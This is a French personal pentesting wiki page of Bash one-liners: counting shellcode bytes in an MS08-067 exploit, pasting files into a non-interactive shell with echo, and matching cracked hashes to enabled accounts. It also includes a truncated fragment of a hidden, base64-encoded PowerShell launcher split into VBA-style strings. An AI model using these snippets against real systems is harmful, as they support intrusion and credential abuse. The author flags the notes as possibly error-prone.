Hacking Wiki

Notes persos. Il y a probablement beaucoup d'erreurs donc privilégiez des sources plus fiables.

View on GitHub

Bash

Commandes utiles

Divers

Les commandes suivantes permettent de compter le nombre de caractères dans un shellcode:

cat ms_08_067.py| grep "^shellcode" | awk '{print $3}' | cut -d'"' -f2 | sed ':a;N;$!ba;s/\n//g' | wc -c

Divisions en CLI

v=$(cat tmp | cut -d'"' -f2 | tr -d '\n' | wc -c);echo $((v/4))

Faire tourner un outil en boucle sur chaque ligne d’un fichier

while read dom; do /opt/testssl.sh/testssl.sh --csv $dom ; done < domains.txt

Sed Magic

Les commandes suivantes générent les commandes à taper pour copier/coller un fichier dans un shell non interactif:

cat test | sed -e 's/^/echo /g' | sed -e 's/$/>> file.txt/g'

Découper une longue entrée sur plusieurs lignes:

cat test | sed 's/.\{70\}/Str = Str + "&"\n/g'
Str = Str + "%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACg"
Str = Str + "AWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnA"
[...]

Grep

La commande suivante permet de récupérer les lignes dans cracked.txt qui contiennent un élément de enabled.txt (ex: récupérer les hashs des utilisateurs s’ils sont actifs)

fgrep -f enabled.txt cracked.txt 

Références